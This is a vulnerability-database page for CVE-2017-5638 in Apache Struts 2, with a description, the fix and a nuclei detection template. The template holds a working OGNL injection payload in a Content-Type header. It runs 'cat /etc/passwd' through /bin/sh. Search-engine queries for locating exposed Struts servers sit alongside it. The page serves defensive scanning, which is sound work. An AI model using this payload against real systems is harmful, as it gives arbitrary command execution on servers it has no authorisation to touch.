HexBrain

Browse / CVEs / CVE-2017-5638

CVE-2017-5638· apache / struts· CWE-20

Apache Struts 2 - Remote Command Execution

Exploited in the wild. Listed by CISA on 2021-11-03; known to be used by ransomware.

criticalseverity
10CVSS score
100%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Apache Struts 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 is susceptible to remote command injection attacks. The Jakarta Multipart parser has incorrect exception handling and error-message generation during file upload attempts, which can allow an attacker to execute arbitrary commands via a crafted Content-Type, Content-Disposition, or Content-Length HTTP header. This was exploited in March 2017 with a Content-Type header containing a #cmd= string.

Impact

Remote attackers can execute arbitrary commands on the target system.

Fix

Upgrade to Apache Struts 2.3.32 or 2.5.10.1 or apply the necessary patches.

How to confirm it

Send: GET /
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2017-5638 -u <target>

The full check
id: CVE-2017-5638

info:
  name: Apache Struts 2 - Remote Command Execution
  author: Random_Robbie
  severity: critical
  description: |
    Apache Struts 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 is susceptible to remote command injection attacks. The Jakarta Multipart parser has incorrect exception handling and error-message generation during file upload attempts, which can allow an attacker to execute arbitrary commands via a crafted Content-Type, Content-Disposition, or Content-Length HTTP header. This was exploited in March 2017 with a Content-Type header containing a #cmd= string.
  impact: |
    Remote attackers can execute arbitrary commands on the target system.
  remediation: |
    Upgrade to Apache Struts 2.3.32 or 2.5.10.1 or apply the necessary patches.
  reference:
    - https://github.com/mazen160/struts-pwn
    - https://isc.sans.edu/diary/22169
    - https://github.com/rapid7/metasploit-framework/issues/8064
    - https://nvd.nist.gov/vuln/detail/CVE-2017-5638
    - http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2017-5638
    cwe-id: CWE-20
    epss-score: 0.99999
    epss-percentile: 0.99994
    cpe: cpe:2.3:a:apache:struts:2.3.5:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: apache
    product: struts
    shodan-query:
      - html:"Apache Struts"
      - http.title:"struts2 showcase"
      - http.html:"struts problem report"
      - http.html:"apache struts"
    fofa-query:
      - body="struts problem report"
      - title="struts2 showcase"
      - body="apache struts"
    google-query: intitle:"struts2 showcase"
  tags: cve2017,cve,apache,kev,msf,struts,rce,vkev,vuln

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: %{(#test='multipart/form-data').(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(#cmd='cat /etc/passwd').(#p=new java.lang.ProcessBuilder({'/bin/sh','-c',#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(#sc=new java.util.Scanner(#process.getInputStream())).(#sc.useDelimiter('ZZZZZZZZ')).(#[email protected]@getResponse().getWriter()).(#rw.println(#sc.next())).(#rw.flush())}

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from